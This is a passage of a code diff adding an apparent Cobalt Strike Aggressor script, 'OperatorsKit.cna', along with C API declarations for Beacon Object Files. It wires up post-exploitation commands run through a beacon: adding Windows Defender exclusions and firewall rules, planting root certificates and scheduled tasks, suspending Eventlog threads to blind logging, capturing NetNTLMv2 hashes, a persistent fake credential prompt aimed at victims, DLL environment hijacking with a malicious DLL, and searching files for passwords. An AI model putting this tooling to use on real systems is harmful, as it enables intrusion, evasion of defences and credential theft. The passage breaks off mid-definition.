+WINBASEAPI BOOL WINAPI KERNEL32$WaitNamedPipeA(LPCSTR lpNamedPipeName, DWORD nTimeOut);
+WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);
+WINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str);
+WINBASEAPI void* WINAPI MSVCRT$strcpy(const char* dest, const char* source);
+WINBASEAPI void* WINAPI MSVCRT$strcat(const char* dest, const char* source);
+//DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Block);
+DECLSPEC_IMPORT FILE* __cdecl MSVCRT$fopen(const char* _Filename, const char* _Mode);
+DECLSPEC_IMPORT int __cdecl MSVCRT$fclose(FILE* _File);
+DECLSPEC_IMPORT char* __cdecl MSVCRT$fgets(char* _Buffer, int _MaxCount, FILE* _File);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+DECLSPEC_IMPORT char* __cdecl MSVCRT$strtok(char* _String, const char* _Delimiters);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumWebClient/enumwebclient.o


+ 1112 - 0
OperatorsKit.cna

@@ -0,0 +1,1112 @@
+# author REDMED-X
+# Master CNA to load all Beacon Object Files from the OperatorsKit.
+
+
+beacon_command_register(
+	"addexclusion", "Add a new exclusion to Windows Defender for a folder, file, process or extension.",
+	"INFO:\nAdd a new exclusion to Windows Defender for a folder, file, process or extension.\n\n" .
+	"ARGUMENTS:\n[<exclusion type>]: specify one of the following exclusion types: path (file/folder), process, extension.\n[<exclusion data>]: specify the data to add as an exclusion.\n\n" .
+	"USAGE:\naddexclusion <exclusion type> <exclusion data>\n\n" .
+	"EXAMPLES:\naddexclusion path C:\\Users\\Public\\Downloads\naddexclusion process C:\\Windows\\System32\\example.exe\naddexclusion extension *.xll\n\n");
+	
+alias addexclusion {
+    $bid = $1;
+    $excltype = $2;
+    $excldata = $3;
+
+    if ($excltype eq "") {
+        berror($bid, "Please specify one of the following extension types: path | process | extension.\n");
+        return;
+    }
+
+    if ($excltype eq "path" || $excltype eq "process" || $excltype eq "extension") {
+        if ($excldata eq "") {
+            berror($bid, "Please specify the data to add as an exclusion.\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This exclusion type isn't supported. Please specify one of the following options: path | process | extension.\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/AddExclusion/addexclusion.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "zZ", $excltype, $excldata);
+
+    blog($bid, "Tasked to add a new exclusion..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"addfirewallrule", "Add a new inbound/outbound firewall rule.",
+	"INFO:\nAdd a new inbound/outbound firewall rule using COM.\n\n" .
+	"ARGUMENTS:\n[<direction>]: specify \"in\" for inbound or \"out\" for outbound.\n[<port>]: specify a single port (80) or port range (80-1000)\n[<rule name>]: specify the name of the new rule.\n[<rule group>]: specify the name of the rule group OR leave empty.\n[<description>]: specify the description of the new rule OR leave empty.\n\n" .
+	"USAGE:\naddfirewallrule <direction> <port> \"<rule name>\" \"<rule group>\" \"<description>\"\n\n" .
+	"EXAMPLES:\naddfirewallrule in 80 \"ExampleRuleName1\" \"ExampleGroup1\" \"Test rule\"\naddfirewallrule out 80-1000 \"ExampleRuleName2\" \n\n");
+
+
+
+alias addfirewallrule {
+    $bid = $1;
+    $direction = $2;
+    $port = $3;
+    $name = $4;
+	$group = $5;
+	$description = $6;
+
+    if ($direction eq "") {
+        berror($bid, "Please specify one of the following rule options: in | out\n");
+        return;
+    }
+
+    if ($direction eq "in" || $direction eq "out") {
+        if ($port eq "") {
+            berror($bid, "Please specify a single port or port range.\n");
+            return;
+        }
+        if ($name eq "") {
+            berror($bid, "Please specify a name of the new firewall rule.\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This option isn't supported. Please specify one of the following options: in | out\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/AddFirewallRule/addfirewallrule.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "zZZZZ", $direction, $port, $name, $group, $description);
+
+    blog($bid, "Tasked to add a new firewall rule..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"addlocalcert", "Add a self signed certificate to a specified local computer certificate store.",
+	"INFO:\nAdd a (self signed) certificate to a specified local computer certificate store. For example, add a certificate to the \"Trusted Root Certification Authorities\" (ROOT) folder on the local computer. All the properties are filled in based on the metadata in the certificate except the \"Friendly Name\" property. This property needs to be set manually as an argument.\n\n" .
+	"ARGUMENTS:\n[<path to certificate file>]: the path on your own attacker system to the certificate.cer file.\n[<store name>]: the certificate store name (like ROOT) to import the certificate into.\n[<friendly name>]: the name that is set in the \"Friendly Name\" property.\n\n" .
+	"USAGE:\naddlocalcert <path to certificate.cer file> <store name> \"<friendly name>\" \n\n" .
+	"EXAMPLES:\naddlocalcert C:\\Users\\operator\\Documents\\examplecert.cer ROOT \"Microsoft Root Certificate Authority 2010\"\n\n");
+	
+alias addlocalcert {
+    $bid = $1;
+	$path = $2;
+    $store = $3;
+	$name = $4;
+	
+	
+	if ($path eq "") {
+		berror($bid, "Please specify the path to the certicate.cer file on your own system.\n");
+		return;
+	}
+
+	if ($store eq "") {
+		berror($bid, "Please specify a valid local computer certificate store name like ROOT.\n");
+		return;
+	}
+	
+	# read in the certificate.cer file
+	$handle = openf("$path");
+	$certfile = readb($handle, -1);
+	closef($handle);
+	
+	blog($bid, "path: $+  $path");
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/AddLocalCert/addlocalcert.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "bZz", $certfile, $store, $name);
+
+	blog($bid, "Tasked to add a certificate to a local computer store..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"addtaskscheduler", "Create a scheduled task (local and remote system support).",
+	"INFO:\nCreate a scheduled task on the current system or a remote host.\n\n" .
+	"BASIC ARGUMENTS:\n[taskName]: The name of the scheduled task.\n[hostName]: The FQDN of the remote host or \"\" for the current system.\n[programPath]: Path to the program that you want to run like: C:\\Windows\\System32\\cmd.exe.\n[programArguments]: Arguments that you want to pass to the program like: \"/c C:\\Windows\\System32\\calc.exe\" or \"\" to leave it empty.\n[triggerType]: The trigger that signals the execution like: onetime, daily, logon, startup, lock, unlock. For more information, check the TRIGGER OPTIONS below.\n\n" .
+	"TRIGGER OPTIONS:\n[onetime]: Create task with trigger \"On a schedule one time\".\n[daily]: Create task with trigger \"On a schedule daily.\"\n[logon]: Create task with trigger \"At log on\" (requires admin privs if set for another user or all users).\n[startup]: Create task with trigger \"At startup\" (requires admin privs).\n[lock]: Create task with trigger \"On workstation lock\" (requires admin privs if set for another user or all users).\n[unlock]: Create task with trigger \"On workstation unlock\" (requires admin privs if set for another user or all users).\n\n" .
+	"TRIGGER SPECIFIC ARGUMENTS:\n[startTime]: Start time of the trigger in format: 2023-03-24T12:08:00.\n[expireTime]: Expiration time of the trigger in format: 2023-03-24T12:08:00.\n[daysInterval]: Interval in number of days. For example: 1 or 3.\n[delay]: Random time delay after the start time in which the trigger is hit. Use format \"PT2H\" for hours and \"PT15M\" for minutes.\n[userID]: Specify the user for which the trigger is set in format: \"DOMAIN\\username\" for domain users, \"username\" for local system users and \"\" for all users (requires admin privs if set for another user or all users).\n[repeatTask]: Set \"Repeat task every x minutes/hours\" option in format \"PT2H\" with a duration of \"Indefinitely\".\n\n" .
+	"USAGE:\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" onetime <startTime> <(optional) repeatTask>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" daily <startTime> <(optional) expireTime> <(optional) daysInterval> <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" logon <(optional) userID>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" startup <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" lock <(optional) userID> <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" unlock <(optional) userID> <(optional) delay>\n\n" .
+	"EXAMPLES:\naddtaskscheduler TestTask \"\" C:\\Windows\\System32\\cmd.exe \"/c C:\\Windows\\System32\\calc.exe\" daily 2023-03-24T12:08:00 2023-03-28T12:14:00 1 PT2H\naddtaskscheduler NewTask DB01.example.local C:\\Users\\Public\\Downloads\\legit.exe \"\" logon Testdomain\\Administrator\naddtaskscheduler OneDrive \"\" C:\\Data\\OneDrive.exe \"\" unlock \"\" PT5M\n\n");
+	
+alias addtaskscheduler {
+    $bid = $1;
+	$taskName = $2; 
+	$host = $3; 
+    $programPath = $4;
+    $programArguments = $5;
+	$triggerType = $6; 
+	$optionalArg1 = $7;
+	$optionalArg2 = $8;
+	$optionalArg3 = $9;
+	$optionalArg4 = $10;
+
+
+	# Verify user input
+	if ($taskName eq "") {
+		berror($bid, "Please specify a name for the new scheduled task.\n");
+		return;
+	}
+	
+	if ($programPath eq "") {
+		berror($bid, "Please specify the path to the program that you want to run\n");
+		return;
+	}
+	
+	if ($triggerType eq "") {
+		berror($bid, "Please specify one of the following trigger options: onetime | daily | logon | startup | lock | unlock\n");
+		return;
+	}
+	
+	if ($triggerType eq "onetime" || $triggerType eq "daily" || $triggerType eq "logon" || $triggerType eq "startup" || $triggerType eq "lock" || $triggerType eq "unlock") {
+		if ($triggerType eq "onetime") {
+			if ($optionalArg1 eq "") {
+				berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
+				return;
+			}
+		}
+		if ($triggerType eq "daily") {
+			if ($optionalArg1 eq "") {
+				berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
+				return;
+			}
+		}
+	}
+	else {
+		berror($bid, "This trigger option is not supported. Please select one of the following options: onetime | daily | logon | startup | lock | unlock\n");
+		return;
+	}
+	
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/AddTaskScheduler/addtaskscheduler.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+
+	if ($triggerType eq "onetime") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
+	}
+	if ($triggerType eq "daily") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZiZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2, $optionalArg3, $optionalArg4);
+	}
+	if ($triggerType eq "logon") {
+		$arg_data  = bof_pack($bid, "ZZZZzZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
+	}
+	if ($triggerType eq "startup") {
+		$arg_data  = bof_pack($bid, "ZZZZzZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
+	}
+	if ($triggerType eq "lock") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
+	}
+	if ($triggerType eq "unlock") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
+	}
+
+	blog($bid, "Tasked to create scheduled task..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+
+}
+
+
+beacon_command_register(
+    "blindeventlog", "Blind Eventlog by suspending its threads.",
+    "INFO:\nBlind Eventlog by suspending its threads. This technique requires elevated privileges.\nBe aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.\n\nOPTIONS:\n[suspend]: find and suspend all Eventlog threads and disrupt its functionality\n[resume]: find and resume all Eventlog threads and restore its functionality\n\n" .
+    "USAGE:\nblindeventlog <suspend | resume>\n\n");
+
+
+alias blindeventlog {
+    $bid = $1;
+    $action = $2;
+
+    if ($action eq "suspend" || $action eq "resume") {
+    }
+    else {
+        berror($bid, "Please specify one of the following actions: suspend | resume\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/BlindEventlog/blindeventlog.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $action);
+
+    blog($bid, "Tasked to interact with Eventlog..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+beacon_command_register(
+	"capturenetntlm", "Capture the NetNTLMv2 hash of the current user.",
+	"INFO:\nCapture the NetNTLMv2 hash of the current user. This is done by simulating a NTLM authentication exchange between a client and server to capture the NetNTLMv2 hash.\n\n" .
+	"USAGE:\ncapturenetntlm\n\n");
+	
+alias capturenetntlm {
+    $bid = $1;
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/CaptureNetNTLM/capturenetntlm.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	blog($bid, "Tasked to capture the current user's NetNTLMv2 hash..");
+    beacon_inline_execute($bid, $data, "go", $null);
+}
+
+
+
+beacon_command_register(
+	"credprompt", "Start custom Windows credential prompt.",
+	"INFO:\nStart Windows credential prompt in an attempt to capture user credentials. Entered credentials are returned as output. The prompt is persistent so the victim can't cancel/close the prompt or enter an empty password. Any user attempt to do so is shown in the output. Finally, a timer for the prompt is set to make sure the beacon will return at some point.\n\n" .
+	"ARGUMENTS:\n[<title>]: a custom window title.\n[<message>]: a custom message set in the window.\n[<timer>]: number in seconds after how long the prompt should auto close. Default is set to 60.\n\n" .
+	"USAGE:\ncredprompt <title> <message> <(optional) timer>\n\n" .
+	"EXAMPLES:\ncredprompt \"Microsoft Outlook\" \"Connecting to user@example.com\" 60\n\n");
+	
+alias credprompt {
+    $bid = $1;
+	$title = $2;
+    $message = $3;
+	$timer = $4;
+	
+	if ($title eq "") {
+		berror($bid, "Please give the window a custom title.\n");
+		return;
+	}
+
+	if ($message eq "") {
+		berror($bid, "Please give the window a custom message.\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/CredPrompt/credprompt.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "ZZi", $title, $message, $timer);
+
+	blog($bid, "Tasked to start a credential prompt..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"delexclusion", "Delete an exclusion from Windows Defender for a folder, file, process or extension.",
+	"INFO:\nDelete an exclusion from Windows Defender for a folder, file, process or extension. \n\n" .
+	"ARGUMENTS:\n[<exclusion type>]: specify one of the following exclusion types you want to delete: path (file/folder), process, extension.\n[<exclusion name>]: specify the exclusion data/name that you want to delete.\n\n" .
+	"USAGE:\ndelexclusion <exclusion type> <exclusion data>\n\n" .
+	"EXAMPLES:\ndelexclusion path C:\\Users\\Public\\Downloads\ndelexclusion process C:\\Windows\\System32\\example.exe\n\n");
+	
+alias delexclusion {
+    $bid = $1;
+    $excltype = $2;
+    $excldata = $3;
+
+    if ($excltype eq "") {
+        berror($bid, "Please specify one of the following extension types: path | process | extension.\n");
+        return;
+    }
+
+    if ($excltype eq "path" || $excltype eq "process" || $excltype eq "extension") {
+        if ($excldata eq "") {
+            berror($bid, "Please specify the exclusion data/name that you want to delete.\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This exclusion type isn't supported. Please specify one of the following options: path | process | extension.\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/DelExclusion/delexclusion.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "zZ", $excltype, $excldata);
+
+    blog($bid, "Tasked to add a new exclusion..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"delfirewallrule", "Delete a firewall rule.",
+	"INFO:\nDelete a firewall rule using COM.\n\n" .
+	"ARGUMENTS:\n[<rule name>]: the name of the firewall rule you want to delete.\n\n" .
+	"USAGE:\ndelfirewallrule \"<rule name>\"\n\n" .
+	"EXAMPLES:\ndelfirewallrule \"ExampleRuleName1\"\n\n");
+	
+alias delfirewallrule {
+    $bid = $1;
+    $name = $2;
+	
+    if ($name eq "") {
+        berror($bid, "Please specify the name of the firewall rule you want to delete.\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/DelFirewallRule/delfirewallrule.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "Z", $name);
+
+    blog($bid, "Tasked to delete a new firewall rule..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+beacon_command_register(
+	"dellocalcert", "Delete a local computer certificate from a specific store.",
+	"INFO:\nDelete a local computer certificate from a specified store based on its unique thumbprint.\n\n" . 
+	"ARGUMENTS:\n[<store name>]: the name of the certificate store from which to delete the certificate.\n[<thumbprint>]: the thumbprint of the certificate that you want to delete in format (all caps): AABBCCDDEEFF00112233445566778899AABBCCDD.\n\n" .
+	"USAGE:\ndellocalcert <store name> <thumbprint>\n\n" .
+	"EXAMPLES:\ndellocalcert ROOT AABBCCDDEEFF00112233445566778899AABBCCDD\n\n");
+	
+alias dellocalcert {
+    $bid = $1;
+	$store = $2;
+    $thumbprint = $3;
+	
+	if ($store eq "") {
+		berror($bid, "Please specify a valid local computer certificate store name like ROOT.\n");
+		return;
+	}
+
+	if ($thumbprint eq "") {
+		berror($bid, "Please specify the thumbprint for the certificate that you want to delete from the store.\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/DelLocalCert/dellocalcert.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "Zz", $store, $thumbprint);
+
+	blog($bid, "Tasked to delete a certificate..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+beacon_command_register(
+	"deltaskscheduler", "Delete a scheduled task (local and remote support).",
+	"INFO:\nDelete a scheduled task on the current system or a remote host.\n\n" .
+	"ARGUMENTS:\n[taskName]: The name of the scheduled task.\n[hostName]: The FQDN of the remote host or leave empty for the current system.\n\n" .
+	"USAGE:\ndeltaskscheduler <taskName> <(optional) hostName>\n\n" .
+	"EXAMPLES:\ndeltaskscheduler TestTask\ndeltaskscheduler TestTask DB01.example.local\n\n");
+	
+alias deltaskscheduler {
+    $bid = $1;
+	$taskName = $2; 
+	$host = $3; 
+
+	# Verify user input
+	if ($taskName eq "") {
+		berror($bid, "Please specify the name of the scheduled task that you want to delete.\n");
+		return;
+	}
+		
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/DelTaskScheduler/deltaskscheduler.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "ZZ", $taskName, $host);
+    blog($bid, "Tasked to delete scheduled task..");
+
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"dllenvhijacking", "BOF implementation of DLL environment hijacking.",
+	"INFO:\nThis tool will setup a hidden file structure, move an already on disk present malicious proxy DLL to the new system32 folder, hide the proxy DLL, modify the SYSTEMROOT environment variable, run the vulnerable binary as a spoofed process to execute the malicious DLL, and reset the original SYSTEMROOT environment variable so the beacon keeps working as intended.\n\nOPTIONS:\n[<new sysroot dir>]: the new directory name as a path that will be used as the new SYSTEMROOT variable like C:\\Data\\ (make sure the directory path ends with \\).\n[<malicious DLL name>]: the name of the malicious DLL that will be loaded by the vulnerable binary (e.g. mswsock.dll).\n[<path to mal. DLL folder>]: the path on the target system to the folder were the malicious DLL is stored (don't add the DLL name and end the path with a \\).\n[<name of vulnerable binary>]: the name of the vulnerable binary that will be executed and loads the malicious DLL (e.g. hostname.exe).\n[<pid parent proc>]: the process ID of the parent process under which the vulnerable binary will run as a child.\n\n" .
+	"USAGE:\ndllenvhijacking <new sysroot dir> <malicious DLL name> <path to mal. DLL folder> <name of vulnerable binary> <pid parent proc>\n\n");
+
+
+alias dllenvhijacking {
+    $bid = $1;
+    $sysroot = $2;
+    $proxydll = $3;
+    $pathtodll = $4;
+    $vulnbinary = $5;
+    $pid = $6;
+
+    if ($sysroot eq "" || $proxydll eq "" || $pathtodll eq "" || $vulnbinary eq "" || $pid eq "") {
+        berror($bid, "Please make sure that all the arguments are filled in and correct!\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/DllEnvHijacking/dllenvhijacking.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "ZZZzi", $sysroot, $proxydll, $pathtodll, $vulnbinary, $pid);
+
+    blog($bid, "Tasked execute DLL Environment hijacking..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"enumlocalcert", "List all the stored local computer certificates from a specific store.",
+	"INFO:\nList all the stored local computer certificates from a specific store. Common store names are: ROOT, MY, TRUST, CA, USERDS, AuthRoot, Disallowed.\n\n" .
+	"ARGUMENTS:\n[<store name>]: the name of the certificate store.\n\n" .
+	"USAGE:\nenumlocalcert <store name>\n\n" .
+	"EXAMPLES:\nenumlocalcert ROOT\n\n");
+	
+alias enumlocalcert {
+    $bid = $1;
+    $store = $2;
+
+	if ($store eq "") {
+		berror($bid, "Please specify a valid local computer certificate store name like ROOT.\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumLocalCert/enumlocalcert.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "Z", $store);
+
+	blog($bid, "Tasked to list certificates from the local computer store..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "enumsecproducts", "List security products running on the current- or remote host.",
+    "INFO:\nGet a list of security products like AV/EDR that are running on the current- or remote host. This is done by comparing running processes against a hardcoded list of 130 security products.\n\n" .
+	"ARGUMENTS:\n[hostname]: The FQDN or IP of the remote host OR leave empty for the current system.\n\n" .
+    "USAGE:\nenumsecproducts <(optional) hostname>\n\n" .
+	"EXAMPLES:\nenumsecproducts \nenumsecproducts WS01.example.local\n\n");
+
+
+alias enumsecproducts {
+    $bid = $1;
+    $remotehost = $2;
+
+    # read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumSecProducts/enumsecproducts.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+    # pack our arguments
+    $arg_data = bof_pack($bid, "z", $remotehost);
+
+    blog($bid, "Tasked to list running security products..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"enumshares", "List remote shares and there access level using a predefined list with hostnames.",
+	"INFO:\nList remote shares and there access level based on a list with predefined hostnames or IP addresses. The list is loaded from your own attacker system.\n\n" .
+	"ARGUMENTS:\n[<path to file>]: the path on your own attacker system to the file containing the list with predefined hostnames. Each hostname must be newline separated.\n\n" .
+	"USAGE:\nenumshares <path to hostname file>\n\n" .
+	"EXAMPLES:\nenumshares C:\\Users\\RTO\\Documents\\hostnames.txt\n\n");
+	
+alias enumshares {
+    $bid = $1;
+	$path = $2;
+	
+	if ($path eq "") {
+		berror($bid, "Please specify the path on your own attacker system to the file containing the list with newline separated hostnames.\n");
+		return;
+	}
+
+	# read in the .txt file
+	$handle = openf("$path");
+	$file = readb($handle, -1);
+	closef($handle);
+	
+	blog($bid, "path: $+  $path");
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumShares/enumshares.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "b", $file);
+
+	blog($bid, "Tasked to enumerate remote shares..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"enumtaskscheduler", "Enumerate and list all the scheduled tasks in the root folder.",
+	"INFO:\nEnumerate and list all the scheduled tasks in the root folder.\n\n" .
+	"ARGUMENTS:\n[hostName]: The FQDN of the remote host or \"\" for the current system.\n\n" .
+	"USAGE:\nenumtaskscheduler <(optional) hostName>\n\n" .
+	"EXAMPLES:\nenumtaskscheduler \nenumtaskscheduler DB01.example.local\n\n");
+	
+alias enumtaskscheduler {
+    $bid = $1;
+	$host = $2; 
+
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumTaskScheduler/enumtaskscheduler.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+
+	$arg_data  = bof_pack($bid, "Z", $host);
+
+	blog($bid, "Tasked to enumerate scheduled tasks in the root folder..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+	"enumwsc", "List what security products are registered in Windows Security Center.\n",
+	"INFO:\nGet a list of security products (antivirus, firewall, antispyware) that are registered in Windows Security Center. This only works if WSC is running (typically only on Windows clients).\n\n" .
+	"ARGUMENTS:\n[option]: specify one of the following options to request related security information from WSC: av (antivirus), fw (firewall), as (antispyware).\n\n" .
+	"USAGE:\nenumwsc <option>\n\n" .
+	"EXAMPLES:\nenumwsc av\n\n");
+	
+alias enumwsc {
+    $bid = $1;
+    $option = $2;
+
+	# Verify user input
+	if ($option eq "") {
+		berror($bid, "Please specify one of the following options: av | fw | as\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumWSC/enumwsc.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $option);
+	
+	blog($bid, "Tasked to enumerate security products registered in Windows Security Center..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "enumdotnet", "Find processes that most likely have .NET loaded.",
+    "INFO:\nFind processes that most likely have .NET loaded by searching for the section name: \BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>\n\n" .
+    "USAGE:\nenumdotnet\n\n");
+
+
+alias enumdotnet {
+    $bid = $1;
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumDotnet/enumdotnet.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    blog($bid, "Tasked to search for processes that have .NET loaded..");
+
+    beacon_inline_execute($bid, $data, "go", $null);
+}
+
+
+beacon_command_register(
+	"enumexclusions", "Check the AV for excluded files, folders, extentions and processes.",
+	"INFO:\nCheck the AV for excluded files, folders, extentions and processes. Currently only Windows Defender exclusions are supported.\n\n" .
+	"USAGE:\nenumexclusions\n\n");
+	
+alias enumexclusions {
+    $bid = $1;
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumExclusions/enumexclusions.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid);
+
+    blog($bid, "Tasked to enumerate exclusions..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "enumfiles", "Search for matching files based on a word, extention or keyword.",
+    "INFO:\nSearch for matching files based on a word, extention or keyword in the file content. Wildcards are supported . Keyword matching only works for text based files.\n\n" .
+	"ARGUMENTS:\n[<path to directory>]: specify a path to the directory from which to start searching (recursive searching supported).\n[<search pattern>]: specify a single word or extention to search for (support wildcards).\n[<keyword>]: leave empty OR specify a keyword to search for in text based files (support wildcards).\n\n" .
+	"USAGE:\nenumfiles <path to directory> <search pattern> <(optional) keyword> \n\n" .
+	"EXAMPLES:\nenumfiles C:\\Users\\RTO\\Documents *.xlsx\nenumfiles C:\\Users\\RTO *login*.* username\nenumfiles C:\\Users\\RTO *.txt *pass*\n\n");
+
+
+alias enumfiles {
+    $bid = $1;
+	$lpDirectory = $2;
+    $lpSearchPattern = $3;
+    $keyword = $4;
+
+    if ($lpDirectory eq "") {
+        berror($bid, "Please specify a path to a directory.\n");
+        return;
+    }
+
+    if ($lpSearchPattern eq "") {
+        berror($bid, "Please specify a pattern/word to search for.\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("KIT/EnumFiles/enumfiles.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "zzz", $lpDirectory, $lpSearchPattern, $keyword);
+
+    blog($bid, "Tasked to search for matching files..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+beacon_command_register(
+    "enumhandles", "Find process and thread handle types between processes.",
